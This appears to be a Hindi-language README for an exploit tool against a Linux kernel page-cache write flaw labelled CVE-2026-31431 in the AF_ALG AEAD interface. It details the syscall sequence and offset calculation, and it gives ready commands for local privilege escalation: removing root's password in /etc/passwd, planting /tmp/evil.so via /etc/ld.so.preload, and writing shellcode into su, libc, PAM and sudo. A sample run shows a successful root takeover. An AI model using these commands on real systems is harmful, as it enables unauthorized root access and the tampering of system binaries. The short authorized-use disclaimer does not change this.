CVE-2026-31431 — कॉपी फेल

Linux कर्नेल पेज कैश अनधिकृत लेखन भेद्यता (AF_ALG AEAD स्कैटर-लिस्ट चेन त्रुटि)

अवलोकन

Linux कर्नेल algif_aead इंटरफ़ेस में एक भेद्यता मौजूद है जो अनप्रिविलेज्ड उपयोगकर्ताओं को किसी भी पठनीय फ़ाइल के पेज कैश (page cache) में मनमाना डेटा लिखने की अनुमति देती है — फ़ाइल अनुमति जाँच, अनिवार्य एक्सेस नियंत्रण (MAC) और अखंडता सत्यापन को पूरी तरह से दरकिनार करते हुए।

डिस्क पर फ़ाइल की सामग्री नहीं बदलती, लेकिन उसके बाद उस फ़ाइल को पढ़ने वाली सभी प्रक्रियाएँ (SUID प्रोग्राम, डायनामिक लिंकर, execve() आदि सहित) हमलावर द्वारा छेड़छाड़ किया गया संस्करण देखेंगी, जब तक कि पेज कैश पुनः प्राप्त न हो जाए।

प्रभावित दायरा

आइटम	विवरण
सबसिस्टम	`crypto/algif_aead.c`
एल्गोरिदम	`authencesn(hmac(sha256),cbc(aes))`
कर्नेल कॉन्फ़िग	`CONFIG_CRYPTO_USER_API_AEAD=y/m` (लगभग सभी मुख्यधारा डिस्ट्रो में डिफ़ॉल्ट रूप से सक्षम)
आवश्यक अनुमति	कोई नहीं — केवल लक्ष्य फ़ाइल पर पढ़ने की अनुमति पर्याप्त
खतरा स्तर	स्थानीय विशेषाधिकार वृद्धि → root
प्रभावित डिस्ट्रो	Ubuntu, Debian, Fedora, RHEL, Arch, openSUSE आदि

भेद्यता सिद्धांत

संक्षिप्त विवरण

AF_ALG के माध्यम से AEAD डिक्रिप्शन निष्पादित करते समय:

उपयोगकर्ता-स्पेस sendmsg() + MSG_MORE के माध्यम से संबद्ध प्रमाणीकरण डेटा (AAD) भेजता है, जिसमें हमलावर-नियंत्रित 4-बाइट seqno_lo शामिल होता है।
splice() के माध्यम से लक्ष्य फ़ाइल के पेज कैश पृष्ठों को कर्नेल क्रिप्टो सबसिस्टम की सेंड स्कैटर-लिस्ट (TX SGL) में इंजेक्ट किया जाता है।
कर्नेल लक्ष्य स्कैटर-लिस्ट (dst SGL) बनाते समय, रिसीव बफ़र और पेज कैश पृष्ठों को sg_chain के माध्यम से जोड़ता है।
authencesn एल्गोरिदम seqno_lo को लक्ष्य स्कैटर-लिस्ट के ऑफ़सेट assoclen + cryptlen पर लिखता है — यह स्थान रिसीव बफ़र से आगे, सीधे जुड़े हुए पेज कैश पृष्ठ में पड़ता है।
यह लेखन HMAC सत्यापन से पहले होता है। HMAC विफल होने पर कर्नेल EBADMSG त्रुटि लौटाता है, लेकिन पेज कैश पहले ही छेड़छाड़ किया जा चुका होता है।

डेटा प्रवाह आरेख

 sendmsg (AAD)            splice (फ़ाइल पृष्ठ)
     │                         │
     ▼                         ▼
 ┌──────────┐  sg_chain   ┌──────────────────────┐
 │ RX बफ़र   │─────────────▶│   पेज कैश पृष्ठ      │
 │  8 बाइट   │              │  (फ़ाइल सामग्री)      │
 └──────────┘              └──────────────────────┘
                                  ▲
                                  │
                      authencesn यहाँ seqno_lo लिखता है
                      ऑफ़सेट = assoclen + cryptlen
                      ════ यही भेद्यता है ════

मुख्य बिंदु

seqno_lo के 4 बाइट पूरी तरह से हमलावर द्वारा AAD में नियंत्रित होते हैं (क्या लिखना है)
splice की लंबाई पेज कैश में लेखन का ऑफ़सेट निर्धारित करती है (कहाँ लिखना है)
दोनों का संयोजन = किसी भी पठनीय फ़ाइल के पेज कैश में मनमाना 4-बाइट लेखन प्रिमिटिव

उपयोग विधि

त्वरित विशेषाधिकार वृद्धि

# /etc/passwd पेज कैश में छेड़छाड़ करें, root पासवर्ड हटाएँ, स्वचालित रूप से su root चलाएँ
./exploit.py escalate

निष्पादन प्रक्रिया:

/etc/passwd की मूल सामग्री का बैकअप /tmp/.passwd.bak में लें
पेज कैश में root:x:0:0:root:... को root::0:0:root :... में संशोधित करें
स्वचालित रूप से su root कॉल करें (पासवर्ड की आवश्यकता नहीं)

आउटपुट उदाहरण:

[*] CVE-2026-31431 — कॉपी फेल
[*] मोड: /etc/passwd के माध्यम से root पासवर्ड हटाएँ

[*] बैकअप: /tmp/.passwd.bak
[*] पहले : root:x:0:0:root:/root:/bin/bash
[*] बाद  : root::0:0:root :/root:/bin/bash
[*] ऑफ़सेट : 0

    [0x000000]  726f6f74  root
    [0x000004]  3a3a303a  ::0:
    [0x000008]  303a726f  0:ro
    [0x00000c]  6f742020  ot
    [0x000010]  3a2f726f  :/ro
    [0x000014]  6f743a2f  ot:/
    [0x000018]  62696e2f  bin/
    [0x00001c]  62617368  bash

[+] सफलता: root::0:0:root :/root:/bin/bash

[*] पुनर्प्राप्ति: echo 3 > /proc/sys/vm/drop_caches
[*] चल रहा है: su root (पासवर्ड की आवश्यकता नहीं)

सामान्य: मनमाना पेज कैश लेखन

# मूल सिंटैक्स
./exploit.py write <फ़ाइल पथ> <ऑफ़सेट> <डेटा>

# बाइनरी फ़ाइल से payload पढ़ें
./exploit.py write <फ़ाइल पथ> <ऑफ़सेट> @payload.bin

उपयोग उदाहरण

# SUID प्रोग्राम के एंट्री पॉइंट पर shellcode लिखें
./exploit.py write /usr/bin/su 0x1040 @shellcode.bin

# प्रीलोड लाइब्रेरी पथ इंजेक्ट करें
./exploit.py write /etc/ld.so.preload 0 '/tmp/evil.so\n'

# libc फ़ंक्शन में छेड़छाड़ करें (जैसे getuid() को 0 लौटाना)
./exploit.py write /usr/lib/libc.so.6 0x284a0 '\x31\xc0\xc3\x90'

बाधाएँ

पुनर्प्राप्ति विधि

# विधि एक: सभी पेज कैश साफ़ करें, डिस्क पर मूल सामग्री पुनर्स्थापित करें
echo 3 > /proc/sys/vm/drop_caches

# विधि दो: रिबूट करें
reboot

आंतरिक तकनीकी विवरण

AF_ALG सॉकेट आरंभीकरण

socket(AF_ALG, SOCK_SEQPACKET, 0)
  → bind("aead", "authencesn(hmac(sha256),cbc(aes))")
  → setsockopt(SOL_ALG, ALG_SET_KEY, authenc_कुंजी_blob)
  → setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 4)
  → accept()  →  अनुरोध fd

कुंजी संरचना (authenc key blob)

┌─────────────────────────────────────────────┐
│ rta_len (2B)  │ rta_type (2B) │ enckeylen (4B) │
│   0x0008      │   0x0001      │  0x00000010    │
├─────────────────────────────────────────────┤
│         प्रमाणीकरण कुंजी (16 बाइट सभी शून्य)      │
├─────────────────────────────────────────────┤
│         एन्क्रिप्शन कुंजी (16 बाइट सभी शून्य)      │
└─────────────────────────────────────────────┘

कुंजी मान अप्रासंगिक है — HMAC निश्चित रूप से विफल होगा, लेकिन अनधिकृत लेखन सत्यापन से पहले पूरा हो चुका होता है।

एकल 4-बाइट लेखन प्रक्रिया

चरण 1:  sendmsg(req_fd,
                  AAD = [seqno_hi(4B) | seqno_lo(4B)],    ← seqno_lo = लिखा जाने वाला मान
                  cmsg = [OP=DECRYPT, IV=सभी शून्य, ASSOCLEN=8],
                  flags = MSG_MORE)

चरण 2:  pipe_r, pipe_w = pipe()

चरण 3:  splice(target_fd → pipe_w, count = file_offset + 4, offset_src = 0)

चरण 4:  splice(pipe_r → req_fd, count = file_offset + 4)

चरण 5:  recv(req_fd, ASSOC_LEN + file_offset)
          → authencesn डिक्रिप्शन ट्रिगर करें
          → seqno_lo dst SGL ऑफ़सेट assoclen + cryptlen पर लिखा जाता है
          → यह ऑफ़सेट पेज कैश पृष्ठ के file_offset पर पड़ता है
          → HMAC विफल, EBADMSG लौटाता है
          → पेज कैश पहले ही छेड़छाड़ किया जा चुका है ✓

ऑफ़सेट गणना

dst SGL लेआउट:
  [0 .. 7]                         → RX बफ़र (AAD रिसीव क्षेत्र)
  [8 .. 8 + file_offset + 3]      → पेज कैश पृष्ठ (splice इंजेक्शन)

seqno_lo लेखन स्थान:
  dst[assoclen + cryptlen]
  = dst[8 + file_offset]
  = पेज कैश में file_offset पर

∴ हमलावर file_offset नियंत्रित करता है → लेखन स्थान नियंत्रित करता है
  हमलावर seqno_lo नियंत्रित करता है    → लेखन सामग्री नियंत्रित करता है

फ़ाइल संरचना

.
├── exploit.py          # स्व-निहित शोषण स्क्रिप्ट (केवल Python 3 + Linux आवश्यक)
└── README.md           # यह फ़ाइल

शोषण परिदृश्य सारांश

अस्वीकरण

यह उपकरण केवल अधिकृत सुरक्षा अनुसंधान और पैठ परीक्षण के लिए है। अनधिकृत रूप से इस उपकरण का उपयोग करके दूसरों के सिस्टम पर हमला करना अवैध है। उपयोगकर्ता सभी कानूनी जिम्मेदारी स्वयं वहन करेगा।

पढ़ने की अनुमति	लक्ष्य फ़ाइल वर्तमान उपयोगकर्ता के लिए पठनीय होनी चाहिए (`O_RDONLY`)
संरेखण	प्रत्येक लेखन 4 बाइट का होता है; 4 बाइट से कम के अंतिम भाग को `0x90` से भरा जाता है
फ़ाइल आकार	फ़ाइल आकार ≥ `ऑफ़सेट + डेटा लंबाई + 4` बाइट होना चाहिए
केवल पेज कैश	डिस्क पर फ़ाइल की सामग्री संशोधित नहीं होती
स्थिरता	पेज कैश पुनः प्राप्त होने या मैन्युअल रूप से साफ़ होने तक प्रभावी
कर्नेल कॉन्फ़िग	`AF_ALG` + `authencesn` उपलब्ध होना चाहिए (मुख्यधारा डिस्ट्रो में डिफ़ॉल्ट रूप से मौजूद)

root पासवर्ड हटाना	`/etc/passwd`	`su root` बिना पासवर्ड
प्रीलोड लाइब्रेरी इंजेक्ट करना	`/etc/ld.so.preload`	सभी प्रोग्राम दुर्भावनापूर्ण `.so` लोड करते हैं
SUID प्रोग्राम में छेड़छाड़	`/usr/bin/su` आदि	shellcode निष्पादित करके root shell प्राप्त करें
libc में छेड़छाड़	`/usr/lib/libc.so.6`	`getuid()` जैसे फ़ंक्शन को 0 लौटाने के लिए हाईजैक करें
PAM मॉड्यूल में छेड़छाड़	`/usr/lib/security/pam_unix.so`	सभी प्रमाणीकरण को बायपास करें
sudo में छेड़छाड़	`/usr/bin/sudo`	कोई भी उपयोगकर्ता सीधे root प्राप्त करे

CVE-2026-31431-Advanced-Exploit

सबसे लोकप्रिय